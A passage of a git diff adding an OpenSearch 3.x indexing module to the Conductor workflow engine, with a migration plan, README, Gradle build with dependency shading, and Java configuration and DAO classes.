`BulkHelper.java` (bulk operations) + - Estimated: 4 hours + +4. **Test Files** (new) + - Integration tests + - Comparison tests + - Estimated: 8 hours + +### Dependencies to Add/Remove + +**Keep:** +```gradle +implementation 'org.opensearch.client:opensearch-java:3.0.0' +implementation "org.opensearch.client:opensearch-rest-client:3.0.0" +``` + +**Remove (after migration):** +```gradle +implementation "org.opensearch.client:opensearch-rest-high-level-client:3.0.0" +``` + +## Risk Mitigation + +### Risk 1: Breaking API Changes +**Mitigation:** Side-by-side testing with v2 + +### Risk 2: Performance Regression +**Mitigation:** Benchmark tests before/after + +### Risk 3: Serialization Issues +**Mitigation:** Test with real workflow data early + +### Risk 4: Unknown API Differences +**Mitigation:** Iterative approach, test each commit + +## Timeline Estimate + +**Optimistic:** 1 week (40 hours) +**Realistic:** 2 weeks (60-80 hours) +**Pessimistic:** 3 weeks (if major blockers found) + +**Breakdown:** +- Foundation: 2 days +- Search: 2 days +- CRUD: 2 days +- Specialized: 1 day +- Cleanup: 1 day +- Testing: 2 days +- **Total: 10 working days** + +## Success Criteria + +- [ ] os-persistence-v3 compiles with 0 errors +- [ ] All unit tests pass +- [ ] All integration tests pass +- [ ] Side-by-side comparison shows identical behavior +- [ ] Performance within 10% of v2 +- [ ] No deprecated API usage +- [ ] Code review approved +- [ ] Documentation updated + +## Next Steps + +1. **Start with Commit 1** (Client Infrastructure) +2. **Create feature branch:** `feature/os-persistence-v3-migration` +3. **Work through commits sequentially** +4. **Test after each commit** +5. **Create PR when Phase 1-3 complete** (minimal viable functionality) +6. **Complete Phase 4-6** based on feedback + +## Questions to Resolve + +1. Do we need to maintain backward compatibility with v2 config? +2. Should we support rolling upgrades from v2 to v3? +3. What's the deprecation timeline for v2? +4. Do we need separate Docker images for v2 vs v3? + +## Resources + +- Migration Guide: `os-persistence-v3/MIGRATION_GUIDE.md` +- OpenSearch Java Docs: https://opensearch.org/docs/latest/clients/java/ +- Example Code: https://github.com/opensearch-project/opensearch-java/tree/main/samples diff --git a/os-persistence-v3/README.md b/os-persistence-v3/README.md new file mode 100644 index 0000000..89ecf32 --- /dev/null +++ b/os-persistence-v3/README.md @@ -0,0 +1,105 @@ +# OpenSearch 3.x Persistence + +This module provides OpenSearch 3.x persistence for indexing workflows and tasks in Conductor. + +## Overview + +The `os-persistence-v3` module targets OpenSearch 3.x clusters. It uses the `opensearch-java 3.0.0` +client — a complete rewrite from the 2.x High-Level REST client to a new Jakarta JSON-based API. +Dependency shading prevents classpath conflicts when deployed alongside `os-persistence-v2`. + +## Configuration + +Set the following properties to enable OpenSearch 3.x indexing: + +```properties +conductor.indexing.enabled=true +conductor.indexing.type=opensearch3 + +# URL of the OpenSearch cluster (comma-separated for multiple nodes) +conductor.opensearch.url=http://localhost:9200 + +# Index prefix (default: conductor) +conductor.opensearch.indexPrefix=conductor +``` + +### All Configuration Properties + +| Property | Default | Description | +|---|---|---| +| `conductor.opensearch.url` | `localhost:9201` | Comma-separated list of OpenSearch node URLs. Supports `http://` and `https://` schemes. | +| `conductor.opensearch.indexPrefix` | `conductor` | Prefix used when creating indices. | +| `conductor.opensearch.clusterHealthColor` | `green` | Cluster health color to wait for before starting (`green`, `yellow`). | +| `conductor.opensearch.indexBatchSize` | `1` | Number of documents per batch when async indexing is enabled. | +| `conductor.opensearch.asyncWorkerQueueSize` | `100` | Size of the async indexing task queue. | +| `conductor.opensearch.asyncMaxPoolSize` | `12` | Maximum threads in the async indexing pool. | +| `conductor.opensearch.asyncBufferFlushTimeout` | `10s` | How long async buffers are held before being flushed. | +| `conductor.opensearch.indexShardCount` | `5` | Number of shards per index. | +| `conductor.opensearch.indexReplicasCount` | `0` | Number of replicas per index. | +| `conductor.opensearch.taskLogResultLimit` | `10` | Maximum task log entries returned per query. | +| `conductor.opensearch.restClientConnectionRequestTimeout` | `-1` | Connection request timeout in ms (`-1` = unlimited). | +| `conductor.opensearch.autoIndexManagementEnabled` | `true` | Whether Conductor creates and manages indices automatically. | +| `conductor.opensearch.username` | _(none)_ | Username for basic authentication. | +| `conductor.opensearch.password` | _(none)_ | Password for basic authentication. | + +Properties are identical to `os-persistence-v2` — both modules share the `conductor.opensearch.*` +namespace. Only `conductor.indexing.type` differs (`opensearch2` vs `opensearch3`). + +### Single-Node / Development Clusters + +```properties +conductor.opensearch.clusterHealthColor=yellow +conductor.opensearch.indexReplicasCount=0 +``` + +## Migration from Legacy `opensearch` Type + +```properties +# Before +conductor.indexing.type=opensearch +conductor.elasticsearch.url=http://localhost:9200 + +# After +conductor.indexing.type=opensearch3 +conductor.opensearch.url=http://localhost:9200 +``` + +## Docker Compose + +```shell +docker compose -f docker/docker-compose-redis-os3.yaml up +``` + +This starts Conductor, Redis, and OpenSearch 3.0.0. + +## Dependency Isolation + +OpenSearch 2.x and 3.x use identical Java package names (`org.opensearch.client.*`). This module +uses the [Shadow plugin](https://github.com/johnrengelman/shadow) to relocate all OpenSearch client +classes to an isolated namespace: + +``` +org.opensearch.client → org.conductoross.conductor.os3.shaded.opensearch.client +``` + +This allows both `os-persistence-v2` and `os-persistence-v3` to coexist on the same classpath +without conflicts. + +## API Changes from 2.x to 3.x + +The v3 module required significant changes from the v2 implementation: + +- **Client**: `RestHighLevelClient` → `OpenSearchClient` with `RestClientTransport` +- **Query building**: `QueryBuilders.*` → functional lambda builders +- **Search results**: `SearchHits` → typed `hits().hits()` with generics +- **Index ops**: `XContentType.JSON` string source → typed document objects +- **HTTP client**: Apache HttpClient 4.x → Apache HttpClient 5.x + +See [MIGRATION_GUIDE.md](MIGRATION_GUIDE.md) for a detailed API comparison. + +## See Also + +- [os-persistence-v2](../os-persistence-v2/README.md) — for OpenSearch 2.x clusters +- [OpenSearch configuration guide](../docs/documentation/advanced/opensearch.md) +- [MIGRATION_GUIDE.md](MIGRATION_GUIDE.md) — detailed 2.x → 3.x API reference +- [Issue #678](https://github.com/conductor-oss/conductor/issues/678) — OpenSearch improvement epic diff --git a/os-persistence-v3/build.gradle b/os-persistence-v3/build.gradle new file mode 100644 index 0000000..b5efb66 --- /dev/null +++ b/os-persistence-v3/build.gradle @@ -0,0 +1,61 @@ +// ⚠️ NOTE: This module is a work-in-progress for OpenSearch 3.x support +// OpenSearch 3.x deprecated the High-Level REST client and requires the new opensearch-java 3.x API +// This is a complete API rewrite - the DAO layer needs to be reimplemented +// Status: Code structure prepared, but not yet compatible with opensearch-java 3.x API +// See: https://opensearch.org/docs/latest/clients/java/ + +plugins { + id 'com.gradleup.shadow' version '8.3.6' + id 'java' +} + +configurations { + // Prevent shaded dependencies from being published, while keeping them available to tests + shadow.extendsFrom compileOnly + testRuntime.extendsFrom compileOnly +} + +dependencies { + + implementation project(':conductor-common') + implementation project(':conductor-core') + implementation project(':conductor-common-persistence') + + compileOnly 'org.springframework.boot:spring-boot-starter' + compileOnly 'org.springframework.retry:spring-retry' + + implementation "commons-io:commons-io:${revCommonsIo}" + implementation "org.apache.commons:commons-lang3" + implementation "com.google.guava:guava:${revGuava}" + + implementation 'com.fasterxml.jackson.core:jackson-core:2.18.0' + + implementation 'org.opensearch.client:opensearch-java:3.5.0' + implementation 'org.apache.httpcomponents.client5:httpclient5:5.3.1' + implementation "org.opensearch.client:opensearch-rest-client:3.5.0" + implementation "org.opensearch.client:opensearch-rest-high-level-client:3.5.0" + + testImplementation "net.java.dev.jna:jna:5.7.0" + testImplementation "org.awaitility:awaitility:${revAwaitility}" + testImplementation "org.opensearch:opensearch-testcontainers:2.1.2" + testImplementation "org.testcontainers:testcontainers:2.0.5" + testImplementation project(':conductor-test-util').sourceSets.test.output + testImplementation 'org.springframework.retry:spring-retry' + +} + +// Drop the classifier and delete jar task actions to replace the regular jar artifact with the shadow artifact +shadowJar { + configurations = [project.configurations.shadow] + archiveClassifier = null + + // Relocate opensearch-java 3.x to avoid conflicts with v2 + relocate 'org.opensearch.client', 'org.conductoross.conductor.os3.shaded.opensearch.client' + + // Service files are not included by default. + mergeServiceFiles { + include 'META-INF/services/*' + include 'META-INF/maven/*' + } +} +// Note: shadowJar is used to shade opensearch-java 3.x to avoid conflicts with v2 diff --git a/os-persistence-v3/src/main/java/org/conductoross/conductor/os3/config/OpenSearchConditions.java b/os-persistence-v3/src/main/java/org/conductoross/conductor/os3/config/OpenSearchConditions.java new file mode 100644 index 0000000..9de9e95 --- /dev/null +++ b/os-persistence-v3/src/main/java/org/conductoross/conductor/os3/config/OpenSearchConditions.java @@ -0,0 +1,63 @@ +/* + * Copyright 2023 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package org.conductoross.conductor.os3.config; + +import org.springframework.boot.autoconfigure.condition.AllNestedConditions; +import org.springframework.boot.autoconfigure.condition.ConditionalOnProperty; + +/** + * Conditional configuration for enabling OpenSearch 3.x as the indexing backend. + * + *

    OpenSearch 3.x is enabled when: + * + *

      + *
    • {@code conductor.indexing.enabled=true} (defaults to true if not specified) + *
    • {@code conductor.indexing.type=opensearch3} + *
    + * + *

    Recommended Configuration: + * + * 

    {@code
+ * # Enable OpenSearch 3.x indexing
+ * conductor.indexing.enabled=true
+ * conductor.indexing.type=opensearch3
+ *
+ * # OpenSearch connection settings
+ * conductor.opensearch.url=http://localhost:9200
+ * conductor.opensearch.indexPrefix=conductor
+ * conductor.opensearch.indexReplicasCount=0
+ * conductor.opensearch.clusterHealthColor=green
+ * }
    + */ +public class OpenSearchConditions { + + private OpenSearchConditions() {} + + public static class OpenSearchV3Enabled extends AllNestedConditions { + + OpenSearchV3Enabled() { + super(ConfigurationPhase.PARSE_CONFIGURATION); + } + + @SuppressWarnings("unused") + @ConditionalOnProperty( + name = "conductor.indexing.enabled", + havingValue = "true", + matchIfMissing = true) + static class enabledIndexing {} + + @SuppressWarnings("unused") + @ConditionalOnProperty(name = "conductor.indexing.type", havingValue = "opensearch3") + static class enabledOS3 {} + } +} diff --git a/os-persistence-v3/src/main/java/org/conductoross/conductor/os3/config/OpenSearchConfiguration.java b/os-persistence-v3/src/main/java/org/conductoross/conductor/os3/config/OpenSearchConfiguration.java new file mode 100644 index 0000000..fc82a00 --- /dev/null +++ b/os-persistence-v3/src/main/java/org/conductoross/conductor/os3/config/OpenSearchConfiguration.java @@ -0,0 +1,137 @@ +/* + * Copyright 2023 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package org.conductoross.conductor.os3.config; + +import java.net.URL; +import java.util.List; + +import org.apache.hc.client5.http.auth.AuthScope; +import org.apache.hc.client5.http.auth.UsernamePasswordCredentials; +import org.apache.hc.client5.http.impl.auth.BasicCredentialsProvider; +import org.apache.hc.core5.http.HttpHost; +import org.apache.hc.core5.util.Timeout; +import org.conductoross.conductor.os3.dao.index.OpenSearchRestDAO; +import org.opensearch.client.RestClient; +import org.opensearch.client.RestClientBuilder; +import org.opensearch.client.json.jackson.JacksonJsonpMapper; +import org.opensearch.client.opensearch.OpenSearchClient; +import org.opensearch.client.transport.OpenSearchTransport; +import org.opensearch.client.transport.rest_client.RestClientTransport; +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; +import org.springframework.beans.factory.annotation.Qualifier; +import org.springframework.boot.context.properties.EnableConfigurationProperties; +import org.springframework.context.annotation.Bean; +import org.springframework.context.annotation.Conditional; +import org.springframework.context.annotation.Configuration; +import org.springframework.context.annotation.Primary; +import org.springframework.core.env.Environment; +import org.springframework.retry.backoff.FixedBackOffPolicy; +import org.springframework.retry.support.RetryTemplate; + +import com.netflix.conductor.dao.IndexDAO; + +import com.fasterxml.jackson.databind.ObjectMapper; + +@Configuration(proxyBeanMethods = false) +@EnableConfigurationProperties(OpenSearchProperties.class) +@Conditional(OpenSearchConditions.OpenSearchV3Enabled.class) +public class OpenSearchConfiguration { + + private static final Logger log = LoggerFactory.getLogger(OpenSearchConfiguration.class); + + private final Environment environment; + + public OpenSearchConfiguration(Environment environment) { + this.environment = environment; + } + + @Bean + public RestClient restClient(RestClientBuilder restClientBuilder) { + return restClientBuilder.build(); + } + + @Bean + public RestClientBuilder osRestClientBuilder(OpenSearchProperties properties) { + // Inject environment for backward compatibility with legacy properties + properties.setEnvironment(environment); + properties.init(); + + RestClientBuilder builder = RestClient.builder(convertToHttpHosts(properties.toURLs())); + + if (properties.getRestClientConnectionRequestTimeout() > 0) { + builder.setRequestConfigCallback( + requestConfigBuilder -> + requestConfigBuilder.setConnectionRequestTimeout( + Timeout.ofMilliseconds( + properties.getRestClientConnectionRequestTimeout()))); + } + + if (properties.getUsername() != null && properties.getPassword() != null) { + log.info( + "Configure OpenSearch with BASIC authentication. User:{}", + properties.getUsername()); + final BasicCredentialsProvider credentialsProvider = new BasicCredentialsProvider(); + // Set credentials for any auth scope (null host matches any) + credentialsProvider.setCredentials( + new AuthScope(null, -1), + new UsernamePasswordCredentials( + properties.getUsername(), properties.getPassword().toCharArray())); + builder.setHttpClientConfigCallback( + httpClientBuilder -> + httpClientBuilder.setDefaultCredentialsProvider(credentialsProvider)); + } else { + log.info("Configure OpenSearch with no authentication."); + } + return builder; + } + + @Bean + public OpenSearchTransport openSearchTransport( + RestClient restClient, ObjectMapper objectMapper) { + return new RestClientTransport(restClient, new JacksonJsonpMapper(objectMapper)); + } + + @Bean + public OpenSearchClient openSearchClient(OpenSearchTransport transport) { + return new OpenSearchClient(transport); + } + + @Primary + @Bean + public IndexDAO osIndexDAO( + RestClient restClient, + OpenSearchClient openSearchClient, + @Qualifier("osRetryTemplate") RetryTemplate retryTemplate, + OpenSearchProperties properties, + ObjectMapper objectMapper) { + String url = properties.getUrl(); + return new OpenSearchRestDAO( + restClient, openSearchClient, retryTemplate, properties, objectMapper); + } + + @Bean + public RetryTemplate osRetryTemplate() { + RetryTemplate retryTemplate = new RetryTemplate(); + FixedBackOffPolicy fixedBackOffPolicy = new FixedBackOffPolicy(); + fixedBackOffPolicy.setBackOffPeriod(1000L); + retryTemplate.setBackOffPolicy(fixedBackOffPolicy); + return retryTemplate; + } + + private HttpHost[] convertToHttpHosts(List hosts) { + return hosts.stream() + .map(host -> new HttpHost(host.getProtocol(), host.getHost(), host.getPort())) + .toArray(HttpHost[]::new); + } +} diff --git a/os-persistence-v3/src/main/java/org/conductoross/conductor/os3/config/OpenSearchProperties.java b/os-persistence-v3/src/main/java/org/conductoross/conductor/os3/config/OpenSearchProperties.java new file mode 100644 index 0000000..e83a41d --- /dev/null +++ b/os-persistence-v3/src/main/java/org/conductoross/conductor/os3/config/OpenSearchProperties.java @@ -0,0 +1,461 @@ +/* + * Copyright 2023 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package org.conductoross.conductor.os3.config; + +import java.net.MalformedURLException; +import java.net.URL; +import java.time.Duration; +import java.time.temporal.ChronoUnit; +import java.util.Arrays; +import java.util.List; +import java.util.Set; +import java.util.stream.Collectors; + +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; +import org.springframework.boot.context.properties.ConfigurationProperties; +import org.springframework.boot.convert.DurationUnit; +import org.springframework.core.env.Environment; + +import jakarta.annotation.PostConstruct; + +/** + * Configuration properties for OpenSearch integration. + * + *

    This class supports the dedicated {@code conductor.opensearch.*} namespace. For backward + * compatibility, legacy {@code conductor.elasticsearch.*} properties are also supported but + * deprecated. When both namespaces are configured, {@code conductor.opensearch.*} takes precedence. + * + *

    Migration Guide: Replace {@code conductor.elasticsearch.*} properties with their {@code + * conductor.opensearch.*} equivalents. The legacy namespace will be removed in a future major + * release. + * + * @see Conductor Documentation + */ +@ConfigurationProperties("conductor.opensearch") +public class OpenSearchProperties { + + private static final Logger log = LoggerFactory.getLogger(OpenSearchProperties.class); + + private static final String LEGACY_PREFIX = "conductor.elasticsearch."; + private static final String NEW_PREFIX = "conductor.opensearch."; + + /** Supported OpenSearch versions. Update this set when new versions are supported. */ + private static final Set SUPPORTED_VERSIONS = Set.of(1, 2); + + private Environment environment; + + /** + * The OpenSearch version (1, 2, etc.) for version-specific API handling. Defaults to 2 + * (OpenSearch 2.x). + */ + private int version = 2; + + /** + * The comma separated list of urls for the OpenSearch cluster. Format -- + * host1:port1,host2:port2 + */ + private String url = "localhost:9201"; + + /** The index prefix to be used when creating indices */ + private String indexPrefix = "conductor"; + + /** The color of the OpenSearch cluster to wait for to confirm healthy status */ + private String clusterHealthColor = "green"; + + /** The size of the batch to be used for bulk indexing in async mode */ + private int indexBatchSize = 1; + + /** The size of the queue used for holding async indexing tasks */ + private int asyncWorkerQueueSize = 100; + + /** The maximum number of threads allowed in the async pool */ + private int asyncMaxPoolSize = 12; + + /** + * The time in seconds after which the async buffers will be flushed (if no activity) to prevent + * data loss + */ + @DurationUnit(ChronoUnit.SECONDS) + private Duration asyncBufferFlushTimeout = Duration.ofSeconds(10); + + /** The number of shards that the index will be created with */ + private int indexShardCount = 5; + + /** The number of replicas that the index will be configured to have */ + private int indexReplicasCount = 0; + + /** The number of task log results that will be returned in the response */ + private int taskLogResultLimit = 10; + + /** The timeout in milliseconds used when requesting a connection from the connection manager */ + private int restClientConnectionRequestTimeout = -1; + + /** Used to control if index management is to be enabled or will be controlled externally */ + private boolean autoIndexManagementEnabled = true; + + /** + * Document types are deprecated in OpenSearch. This property can be used to disable the use of + * specific document types with an override. + * + *

    Note that this property will only take effect if {@link + * OpenSearchProperties#isAutoIndexManagementEnabled} is set to false and index management is + * handled outside of this module. + */ + private String documentTypeOverride = ""; + + /** OpenSearch basic auth username */ + private String username; + + /** OpenSearch basic auth password */ + private String password; + + public OpenSearchProperties() {} + + public OpenSearchProperties(Environment environment) { + this.environment = environment; + } + + /** + * Post-construction initialization that handles backward compatibility with legacy + * conductor.elasticsearch.* properties. Logs deprecation warnings when legacy properties are + * detected. Also validates the configured OpenSearch version. + */ + @PostConstruct + public void init() { + if (environment == null) { + return; + } + + boolean usingLegacyProperties = false; + + // Check and apply legacy version property + // Note: conductor.elasticsearch.version=0 is a special value used to disable ES7 + // auto-config + // For OpenSearch, we only consider positive version numbers from legacy config + String legacyVersion = environment.getProperty(LEGACY_PREFIX + "version"); + if (legacyVersion != null && !hasNewProperty("version")) { + try { + int parsedVersion = Integer.parseInt(legacyVersion); + // Only use legacy version if it's a valid OpenSearch version (not 0 which is ES7 + // disable flag) + if (parsedVersion > 0) { + this.version = parsedVersion; + usingLegacyProperties = true; + log.info( + "Using OpenSearch version {} from legacy property 'conductor.elasticsearch.version'. " + + "Consider migrating to 'conductor.opensearch.version'.", + parsedVersion); + } + } catch (NumberFormatException e) { + log.warn( + "Invalid value '{}' for conductor.elasticsearch.version. Using default version {}.", + legacyVersion, + this.version); + } + } + + // Check and apply legacy properties with deprecation warnings + String legacyUrl = environment.getProperty(LEGACY_PREFIX + "url"); + if (legacyUrl != null && !hasNewProperty("url")) { + this.url = legacyUrl; + usingLegacyProperties = true; + } + + String legacyIndexName = environment.getProperty(LEGACY_PREFIX + "indexName"); + if (legacyIndexName != null && !hasNewProperty("indexPrefix")) { + this.indexPrefix = legacyIndexName; + usingLegacyProperties = true; + } + + String legacyClusterHealthColor = + environment.getProperty(LEGACY_PREFIX + "clusterHealthColor"); + if (legacyClusterHealthColor != null && !hasNewProperty("clusterHealthColor")) { + this.clusterHealthColor = legacyClusterHealthColor; + usingLegacyProperties = true; + } + + String legacyIndexBatchSize = environment.getProperty(LEGACY_PREFIX + "indexBatchSize"); + if (legacyIndexBatchSize != null && !hasNewProperty("indexBatchSize")) { + this.indexBatchSize = Integer.parseInt(legacyIndexBatchSize); + usingLegacyProperties = true; + } + + String legacyAsyncWorkerQueueSize = + environment.getProperty(LEGACY_PREFIX + "asyncWorkerQueueSize"); + if (legacyAsyncWorkerQueueSize != null && !hasNewProperty("asyncWorkerQueueSize")) { + this.asyncWorkerQueueSize = Integer.parseInt(legacyAsyncWorkerQueueSize); + usingLegacyProperties = true; + } + + String legacyAsyncMaxPoolSize = environment.getProperty(LEGACY_PREFIX + "asyncMaxPoolSize"); + if (legacyAsyncMaxPoolSize != null && !hasNewProperty("asyncMaxPoolSize")) { + this.asyncMaxPoolSize = Integer.parseInt(legacyAsyncMaxPoolSize); + usingLegacyProperties = true; + } + + String legacyIndexShardCount = environment.getProperty(LEGACY_PREFIX + "indexShardCount"); + if (legacyIndexShardCount != null && !hasNewProperty("indexShardCount")) { + this.indexShardCount = Integer.parseInt(legacyIndexShardCount); + usingLegacyProperties = true; + } + + String legacyIndexReplicasCount = + environment.getProperty(LEGACY_PREFIX + "indexReplicasCount"); + if (legacyIndexReplicasCount != null && !hasNewProperty("indexReplicasCount")) { + this.indexReplicasCount = Integer.parseInt(legacyIndexReplicasCount); + usingLegacyProperties = true; + } + + String legacyTaskLogResultLimit = + environment.getProperty(LEGACY_PREFIX + "taskLogResultLimit"); + if (legacyTaskLogResultLimit != null && !hasNewProperty("taskLogResultLimit")) { + this.taskLogResultLimit = Integer.parseInt(legacyTaskLogResultLimit); + usingLegacyProperties = true; + } + + String legacyRestClientConnectionRequestTimeout = + environment.getProperty(LEGACY_PREFIX + "restClientConnectionRequestTimeout"); + if (legacyRestClientConnectionRequestTimeout != null + && !hasNewProperty("restClientConnectionRequestTimeout")) { + this.restClientConnectionRequestTimeout = + Integer.parseInt(legacyRestClientConnectionRequestTimeout); + usingLegacyProperties = true; + } + + String legacyAutoIndexManagementEnabled = + environment.getProperty(LEGACY_PREFIX + "autoIndexManagementEnabled"); + if (legacyAutoIndexManagementEnabled != null + && !hasNewProperty("autoIndexManagementEnabled")) { + this.autoIndexManagementEnabled = + Boolean.parseBoolean(legacyAutoIndexManagementEnabled); + usingLegacyProperties = true; + } + + String legacyDocumentTypeOverride = + environment.getProperty(LEGACY_PREFIX + "documentTypeOverride"); + if (legacyDocumentTypeOverride != null && !hasNewProperty("documentTypeOverride")) { + this.documentTypeOverride = legacyDocumentTypeOverride; + usingLegacyProperties = true; + } + + String legacyUsername = environment.getProperty(LEGACY_PREFIX + "username"); + if (legacyUsername != null && !hasNewProperty("username")) { + this.username = legacyUsername; + usingLegacyProperties = true; + } + + String legacyPassword = environment.getProperty(LEGACY_PREFIX + "password"); + if (legacyPassword != null && !hasNewProperty("password")) { + this.password = legacyPassword; + usingLegacyProperties = true; + } + + if (usingLegacyProperties) { + log.warn( + "DEPRECATION WARNING: You are using legacy 'conductor.elasticsearch.*' properties " + + "for OpenSearch configuration. Please migrate to 'conductor.opensearch.*' namespace. " + + "The legacy namespace will be removed in a future major release. " + + "See migration guide at: https://conductor-oss.github.io/conductor/"); + } + + // Validate the configured OpenSearch version + validateVersion(); + } + + /** + * Validates that the configured OpenSearch version is supported. + * + * @throws IllegalArgumentException if the version is not supported + */ + private void validateVersion() { + if (!SUPPORTED_VERSIONS.contains(this.version)) { + String supportedVersionsStr = + SUPPORTED_VERSIONS.stream() + .sorted() + .map(String::valueOf) + .collect(Collectors.joining(", ")); + throw new IllegalArgumentException( + String.format( + "Unsupported OpenSearch version: %d. Supported versions are: [%s]. " + + "Please configure 'conductor.opensearch.version' with a supported version.", + this.version, supportedVersionsStr)); + } + log.info("OpenSearch configured with version: {}", this.version); + } + + /** + * Returns the set of supported OpenSearch versions. + * + * @return unmodifiable set of supported version numbers + */ + public static Set getSupportedVersions() { + return SUPPORTED_VERSIONS; + } + + private boolean hasNewProperty(String propertyName) { + return environment != null && environment.containsProperty(NEW_PREFIX + propertyName); + } + + public void setEnvironment(Environment environment) { + this.environment = environment; + } + + public int getVersion() { + return version; + } + + public void setVersion(int version) { + this.version = version; + } + + public String getUrl() { + return url; + } + + public void setUrl(String url) { + this.url = url; + } + + public String getIndexPrefix() { + return indexPrefix; + } + + public void setIndexPrefix(String indexPrefix) { + this.indexPrefix = indexPrefix; + } + + public String getClusterHealthColor() { + return clusterHealthColor; + } + + public void setClusterHealthColor(String clusterHealthColor) { + this.clusterHealthColor = clusterHealthColor; + } + + public int getIndexBatchSize() { + return indexBatchSize; + } + + public void setIndexBatchSize(int indexBatchSize) { + this.indexBatchSize = indexBatchSize; + } + + public int getAsyncWorkerQueueSize() { + return asyncWorkerQueueSize; + } + + public void setAsyncWorkerQueueSize(int asyncWorkerQueueSize) { + this.asyncWorkerQueueSize = asyncWorkerQueueSize; + } + + public int getAsyncMaxPoolSize() { + return asyncMaxPoolSize; + } + + public void setAsyncMaxPoolSize(int asyncMaxPoolSize) { + this.asyncMaxPoolSize = asyncMaxPoolSize; + } + + public Duration getAsyncBufferFlushTimeout() { + return asyncBufferFlushTimeout; + } + + public void setAsyncBufferFlushTimeout(Duration asyncBufferFlushTimeout) { + this.asyncBufferFlushTimeout = asyncBufferFlushTimeout; + } + + public int getIndexShardCount() { + return indexShardCount; + } + + public void setIndexShardCount(int indexShardCount) { + this.indexShardCount = indexShardCount; + } + + public int getIndexReplicasCount() { + return indexReplicasCount; + } + + public void setIndexReplicasCount(int indexReplicasCount) { + this.indexReplicasCount = indexReplicasCount; + } + + public int getTaskLogResultLimit() { + return taskLogResultLimit; + } + + public void setTaskLogResultLimit(int taskLogResultLimit) { + this.taskLogResultLimit = taskLogResultLimit; + } + + public int getRestClientConnectionRequestTimeout() { + return restClientConnectionRequestTimeout; + } + + public void setRestClientConnectionRequestTimeout(int restClientConnectionRequestTimeout) { + this.restClientConnectionRequestTimeout = restClientConnectionRequestTimeout; + } + + public boolean isAutoIndexManagementEnabled() { + return autoIndexManagementEnabled; + } + + public void setAutoIndexManagementEnabled(boolean autoIndexManagementEnabled) { + this.autoIndexManagementEnabled = autoIndexManagementEnabled; + } + + public String getDocumentTypeOverride() { + return documentTypeOverride; + } + + public void setDocumentTypeOverride(String documentTypeOverride) { + this.documentTypeOverride = documentTypeOverride; + } + + public String getUsername() { + return username; + } + + public void setUsername(String username) { + this.username = username; + } + + public String getPassword() { + return password; + } + + public void setPassword(String password) { + this.password = password; + } + + public List toURLs() { + String clusterAddress = getUrl(); + String[] hosts = clusterAddress.split(","); + return Arrays.stream(hosts) + .map( + host -> + (host.startsWith("http://") || host.startsWith("https://")) + ? toURL(host) + : toURL("http://" + host)) + .collect(Collectors.toList()); + } + + private URL toURL(String url) { + try { + return new URL(url); + } catch (MalformedURLException e) { + throw new IllegalArgumentException(url + "can not be converted to java.net.URL"); + } + } +} diff --git a/os-persistence-v3/src/main/java/org/conductoross/conductor/os3/dao/index/OpenSearchBaseDAO.java b/os-persistence-v3/src/main/java/org/conductoross/conductor/os3/dao/index/OpenSearchBaseDAO.java new file mode 100644 index 0000000..d9abeeb --- /dev/null +++ b/os-persistence-v3/src/main/java/org/conductoross/conductor/os3/dao/index/OpenSearchBaseDAO.java @@ -0,0 +1,111 @@ +/* + * Copyright 2023 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package org.conductoross.conductor.os3.dao.index; + +import java.io.IOException; +import java.util.ArrayList; + +import org.apache.commons.io.IOUtils; +import org.apache.commons.lang3.StringUtils; +import org.conductoross.conductor.os3.dao.query.parser.Expression; +import org.conductoross.conductor.os3.dao.query.parser.internal.ParserException; +import org.opensearch.client.opensearch._types.query_dsl.Query; +import org.opensearch.client.opensearch._types.query_dsl.QueryStringQuery; + +import com.netflix.conductor.dao.IndexDAO; + +import com.fasterxml.jackson.core.JsonProcessingException; +import com.fasterxml.jackson.databind.JsonNode; +import com.fasterxml.jackson.databind.ObjectMapper; +import com.fasterxml.jackson.databind.node.ObjectNode; + +abstract class OpenSearchBaseDAO implements IndexDAO { + + String indexPrefix; + ObjectMapper objectMapper; + + String loadTypeMappingSource(String path) throws IOException { + return applyIndexPrefixToTemplate( + IOUtils.toString(OpenSearchBaseDAO.class.getResourceAsStream(path))); + } + + private String applyIndexPrefixToTemplate(String text) throws JsonProcessingException { + String indexPatternsFieldName = "index_patterns"; + JsonNode root = objectMapper.readTree(text); + if (root != null) { + JsonNode indexPatternsNodeValue = root.get(indexPatternsFieldName); + if (indexPatternsNodeValue != null && indexPatternsNodeValue.isArray()) { + ArrayList patternsWithPrefix = new ArrayList<>(); + indexPatternsNodeValue.forEach( + v -> { + String patternText = v.asText(); + StringBuilder sb = new StringBuilder(); + if (patternText.startsWith("*")) { + sb.append("*") + .append(indexPrefix) + .append("_") + .append(patternText.substring(1)); + } else { + sb.append(indexPrefix).append("_").append(patternText); + } + patternsWithPrefix.add(sb.toString()); + }); + ((ObjectNode) root) + .set(indexPatternsFieldName, objectMapper.valueToTree(patternsWithPrefix)); + System.out.println( + 